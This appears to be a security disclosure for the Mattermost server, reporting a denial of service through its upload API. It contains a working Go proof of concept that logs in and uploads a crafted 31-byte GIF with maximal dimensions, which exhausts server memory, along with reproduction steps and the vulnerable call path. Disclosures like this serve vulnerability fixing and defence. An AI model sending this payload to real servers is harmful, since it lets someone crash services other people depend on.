DOS: out of memory from gif through upload api

How it was found

Summary:

When sending a specially crafted gif with max dimensions through the upload API, we get Mattermost server to consume more than 4Gbytes of RAM

Steps To Reproduce:

[add details for how we can reproduce the issue]

1. Run docker run --name mattermost-preview -d --publish 8065:8065 mattermost/mattermost-preview -m=4G as documented https://docs.mattermost.com/guides/deployment.html with 4G limit from https://docs.mattermost.com/install/software-hardware-requirements.html#hardware-requirements-for-team-deployments
2. Get one channel id
3. Run this simple POC below with a valid channel id
4. Docker container gets killed

package main

import (
	"bytes"
	"fmt"
	"github.com/mattermost/mattermost-server/v5/model"
)

func main() {
	Client := model.NewAPIv4Client("http://localhost:8065/")
	Client.Login("toto", "tototo")
	us := &model.UploadSession{
		ChannelId: "5dtj9hf89ifap8imigbzjc7wjo",
		Filename:  "oom.gif",
		FileSize:  31,
	}
	us, response := Client.CreateUpload(us)
	fmt.Printf("lol %s %#+v\n", us, response)
	data := []byte{0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x2e, 0xf8, 0xff, 0xff, 0xf, 0x18, 0x18, 0x2c, 0x7f, 0x20, 0x0, 0x0, 0x0, 0xa0, 0xff, 0xff, 0xff, 0xd4, 0x9a, 0xf0, 0xb4, 0x8, 0x35, 0x4, 0x0}
	info, err2 := Client.UploadData(us.Id, bytes.NewReader(data))
	fmt.Printf("lol %s %#+v\n", err2, info)
}

This happens with gif.DecodeAll being called by GetInfoForBytes getting called by App.UploadData being called by doUploadData being called by uploadData without any call to preprocessImage as is done in the api/v4/files route

Docker container gets killed

Impact

Crash a server